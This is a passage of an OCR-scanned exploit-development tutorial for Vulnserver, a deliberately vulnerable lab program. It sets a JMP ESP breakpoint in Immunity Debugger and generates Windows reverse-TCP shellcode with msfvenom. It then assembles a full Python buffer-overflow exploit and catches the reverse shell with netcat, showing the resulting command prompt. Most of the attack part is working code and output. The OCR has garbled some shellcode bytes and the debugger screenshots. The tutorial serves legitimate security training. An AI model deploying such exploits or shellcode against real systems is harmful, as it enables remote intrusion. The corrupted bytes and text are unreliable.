in Immunity that will help us catch this. If we click on the black arrow in the top right hand corner and
enter:

625011at
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%
ﬂFiIE View Debug Plugins Imrmlib  Opticns Window Help  Jobs
|_:3§>_'14xblllr§"§?§1§'d"5 lemtwthkbzr...s?I

Enter expression to follow

(625011 af |

ak. | Cancel |

You should see our FFE4 (JMP ESP) at the top of the list.

— L=xJ

T = a— L - - nr — - o |

POP EAX

5 £ Db
This is perfect and exactly what we want to see. Then we need to the hit F2 key, this will turn the

address in a light blue.

ﬂ File View Debug Plugins ImmlLib Options Window Help Jobs

) _'Hxhllki*iﬁli'ﬂ:ﬂlemtwthkl}zr...g?l
4 »
/] 1

b/ ol = H HOF 4

b/ ol =L H H O a

bl ol =

bl ol als ) P UK 3

What this has done is set a break point. When the program reaches this point it is going to stop and
await further instructions from us. This is all we need for now as we have nowhere to jump to. We just
need to know that we are hitting this right so we can jump forward.

Make sure you Vulnserver and Immunity are ready then head back to Kali.

Remember to change mode.

chmod +x return address.py
All that's left to do is run:
python2.7 return address.py

Let's go back to Immunity to see what has happened.
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~ Registers (FPU)
625011B1 EA AX OOASF1E8 ASCII "
o8 Pop P0744F A4
POP 00000PDD
0000012C
e
PUSH EBP SI 00401848 vulnserv.00401848
EBP,ESP 00491848 vulnserv.d0401848

ESP 625011AF essfunc.620011AF

POP EBX
PoP EB% 32bit B(FFFFFFFF)

POP EBP
PUSH EBP
MOV EBP,ESP

ESP

EBX
POP EBP
POP EBP
POP EBP

PUSH _EBP
MOV EBP,ESP
ESP

)
it 268000(FFF)
32bit @O(FFFFFFFF)

ERROR_SUCCESS (@0020000a)
0ooaa246 (NO,NB,E,BE,NS,PE,GE,LE)

empty
empty
empty
empty
empty
empty
empty
empty

OUAWNKRES F O00ORERE

ed e e ] e ] = T]

7]
-
~

Eb
pop 3
RET 82 620d Refk%s
Pop rec

PUSH _EBP
MOV EBP,ESP
ESP

QOASFOCS I YL Ty BT
20743380 3t ASCII "TRUN /|

2RBBRRA

20epa387

555 ]5u]oe) ]

2P2PRRAA -

20740000 R

Pa773B6@ ";w. " Fuw"
@OASFABC 00OBROSS8 Xé'é

it @(FFFFFFFF)
it @(FFFFFFFF)

This means we now control this. Now all we have to do is generate some shellcode and we are home
free!

8.Generating Shellcode and Gaining Root

The moment we have all been working towards is finally here. This is when we get a shell on our target

machine with root access.
What we will do is use a tool called "msfvenom" to generate our shell code.
Open up a terminal in your Kali Linux and run:

msfvenom -p windows/shell reverse tcp =192.168.74.128 =7777
=thread -f ¢ -a x86 -Db

Let me explain what is happening here. We are setting a switch of -p for payload which will be a
windows reverse tcp shell. When we have a reverse shell like this what we are doing is having the
victim connect back to us. So we need to provide it with our information that being LHOST and LPORT.
This will be the IP address of our attack box, and the port we want to make the connection on.
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We have also added a EXITFUNC=thread, all this does is makes are shell more stable. We have -t
for filetype which is C. We have -a for architecture which is x86 and a -b for bad characters which is

where finding the bad characters is important we didn't have any but the null byte (\x00) which was
automatically removed for us in our tests.

Go ahead and hit enter to generate this payload

~/Documents/TCM/buffer_overflow

Keep a copy of this. | will keep it write here in this document

"\xd9\xc6\xd9\x74\x24\xf4\x5a\x33\xc9\xbe\x3a\x3e\x44\x2c"
"\xb1\x52\x31\x72\x17\x83\xea\xfc\x03\x48\x2d\xa6\xd9\x50"
"\xb9\xad\x22\xa8\x3a\xc9\xab\x4d\x0b\xc9\xc8\x06\x3c\xf9"
"\x9b\x4a\xbl\x72\xcI9\x7e\x42\xf6\xc6\x71\xe3\xbd\x30\xbc"
"\xf4\xee\x01\xdf\x76\xed\x55\x3f\x46\x3e\xa8\x3e\x8f\x23"
"\x41\x12\x58\x2f\xf4\x82\xed\x65\xc5\x29\xbd\x68\x4d\xce"
"\x76\x8a\x7c\x41\x0c\xd5\x5e\x60\xcl\x6d\xd7\x7a\x06\x4b"
"\xal\xfl\xfc\x27\x30\xd3\xcc\xc8\x9f\xlal\xel\x3a\xel\x5b"
"\xc6\xad4\x94\x95\x34\x58\xaf\x62\x46\x86\x3a\x70\xe0\x4d"
"\x9c\x5c\x10\x81\x7b\x17\x1e\x6e\x0f\x7f\x03\x71\xdc\xf4"
"\x3f\xfal\xe3\xda\xc9\xb8\xc7\xfe\x92\x1b\x69\xa7\x7e\xcd"
"\x96\xb7\x20\xb2\x32\xbc\xcd\xa7\x4e\x9f\x99\x04\x63\x1f"
"\x5a\x03\xf4\x6c\x68\x8c\xae\xfa\xc0\x45\x69\xfd\x27\x7c"
"\xcd\x91\xd9\x7f\x2e\xb8\x1d\x2b\x7e\xd2\xb4\x54\x15\x22"
"\x38\x81\xba\x72\x96\x7a\x7b\x22\x56\x2b\x13\x28\x59\x14"
"\x03\x53\xb3\x3d\xae\xae\x54\x82\x87\xfa\x24\x6a\xda\xfa"
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"\x3a\x0a\x53\x1c\x28\xdc\x35\xb7\xc5\x45\x1c\x43\x77\x89"
"\x8a\x2e\xb7\x01\x39\xcf\x76\xe2\x34\xc3\xef\x02\x03\xb9"
"\xa6\x1d\xb9\xd5\x25\x8f\x26\x25\x23\xac\xf0\x72\x64\x02"
"\x09\x16\x98\x3d\xa3\x04\x61\xdb\x8c\x8c\xbe\x18\x12\x0d"
"\x32\x24\x30\x1d\x8a\xa5\x7c\x49\x42\xf0\x2a\x27\x24\xaa"
"\x9c\x91\xfe\x01\x77\x75\x86\x69\x48\x03\x87\xa7\x3e\xeb"
"\x36\x1e\x07\x14\xfo\xf6\x8f\x6d\xea\x66\x6f\xad\xae\x87"
"\x92\x6c\xdb\x2f\x0b\xe5\x66\x32\xac\xd0\xa5\x4b\x2f\xd0"
"\x55\xa8\x2f\x91\x50\xf4\xf7\x4a\x29\x65\x92\x6c\x9%9e\x86"
"\xb7"

You should notice | have removed the semi-colon at the end as its not needed.

Plus its always a good idea to take note of the payload size. It's not going to matter in this situation, but
if you do decide to go deeper into exploit development you will learn that payload size is everything.

Payload size:[351 bytes

Next we need to copy this into our python script as always | will make a new file for this. The final script
should look similar to this.

#!/usr/bin/python

import sys, socket

overflow = (

"\xd9\xc6\xd9\x74\x24\xf4\x5a\x33\xc9\xbe\x3a\x3e\x44\x2c"
"\xb1\x52\x31\x72\x17\x83\xea\xfc\x03\x48\x2d\xa6\xd9\=x50"
"\xb9\xad\x22\xa8\x3a\xc9\xab\x4d\x0b\xc9\xc8\x06\x3c\xf9o"
"\x9b\x4a\xbl\x72\xc9\x7e\x42\xf6\xc6\x71\xe3\xbd\x30\xbc"
"\xf4\xee\x01\xdf\x76\xed\x55\x3f\x46\x3e\xa8\x3e\x8f\x23"
"\x41\x12\x58\x2f\xf4\x82\xed\x65\xc5\x29\xbd\x68\x4d\xce"
"\x76\x8a\x7c\x41\x0c\xd5\x5e\x60\xcl\x6d\xd7\x7a\x06\x4b"
"\xal\xfl\xfc\x27\x30\xd3\xcc\xc8\x9f\xlal\xel\x3a\xel\x5b"
"\xc6\xad4\x94\x95\x34\x58\xaf\x62\x46\x86\x3a\x70\xe0\x4d"
"\x9c\x5c\x10\x81\x7b\x17\x1e\x6e\x0f\x7f\x03\x71\xdc\xf4"
"\x3f\xfal\xe3\xda\xc9\xb8\xc7\xfe\x92\x1b\x69\xa7\x7e\xcd"
"\x96\xb7\x20\xb2\x32\xbc\xcd\xa7\x4e\x9f\x99\x04\x63\x1f"
"\x5a\x03\xf4\x6c\x68\x8c\xae\xfa\xcO0\x45\x69\xfd\x27\x7c"
"\xcd\x91\xd9\x7f\x2e\xb8\x1d\x2b\x7e\xd2\xb4\x54\x15\x22"

https://t.me/learningnets



"\x38\x81\xba\x72\x96\x7a\x7b\x22\x56\x2b\x13\x28\x59\x14"
"\x03\x53\xb3\x3d\xae\xae\x54\x82\x87\xfa\x24\x6a\xda\xfa"
"\x3a\x0a\x53\x1c\x28\xdc\x35\xb7\xc5\x45\x1c\x43\x77\x89"
"\x8a\x2e\xb7\x01\x39\xcf\x76\xe2\x34\xc3\xef\x02\x03\xb9"
"\xa6\x1d\xb9\xd5\x25\x8f\x26\x25\x23\xac\xf0\x72\x64\x02"
"\x09\x16\x98\x3d\xa3\x04\x61\xdb\x8c\x8c\xbe\x18\x12\x0d"
"\x32\x24\x30\x1d\x8a\xa5\x7c\x49\x42\xf0\x2a\x27\x24\xaa"
"\x9c\x91\xfe\x01\x77\x75\x86\x69\x48\x03\x87\xa7\x3e\xeb"
"\x36\x1e\x07\x14\xfo\xf6\x8f\x6d\xea\x66\x6f\xad\xae\x87"
"\x92\x6c\xdb\x2f\x0b\xe5\x66\x32\xac\xd0\xa5\x4b\x2f\xd0"
"\x55\xa8\x2f\x91\x50\xf4\xf7\x4a\x29\x65\x92\x6c\x9e\x86"

" \Xb7"
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 4+ overflow
try:
s=socket.socket (socket .AF INET,socket.SOCK STREAM)
s.connect (('192.168.74.132',9999))
s.send(('"TRUN /.:/' + shellcode))
s.close ()
except:

print "Error connecting to the server"

sys.exit ()

(It's important you generate your own overflow variable as it will contain the information that's needed to
connect back to your machine)

Let's talk about how this script is going to work.

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow

First the shellcode variable will run 2003 "A" characters, that will get us to the EIP

shellcode = "A" * 2003

When we reach the EIP we are going to hit this pointer address which is a JMP address

We also want to include called NOPs They stand for "No Operations" What his does is gives us a little
pad space between our JMP command and our overflow shellcode. If we didn't have this its possible
that our overflow may not work because something may interfere.
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Finally it's going to jump to our set of instructions that we have provided in the overflow variable

Let's save this script, and change mode.

chmod +x reverse buffer shell.py

In a new terminal we need to set up our listener.
nc -nvlp 7777

Make sure it's the same port you put in your msfvenom payload.

root® kali | ~/Documents/TCM/buffer_overflow
# nc 71777
listening on [any] 7777 ...

Now that our listener is waiting all we have to do is run Vulnserver as administrator. We don't need to
run Immunity this time as we wont need to analyse this part.

All thats left to do is run our script and we should receive our well deserved shell.
python2.7 reverse buffer shell.py

root® kali - | ~/Documents/TCM/buffer_overflow
# nc 7777
listening on [any] 7777
connect to [192.168.74.128] from (UNKNOWN) [192.168.74.134] 55787
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Users\grmsh\OneDrive\Desktop\vulnserver-master>whoami
whoami
desktop-fdjuhbr\grmsh

Congratulations!!!
If you made it this far then you have successfully built and developed your own exploit.
Well done!

See you in the next one ;)
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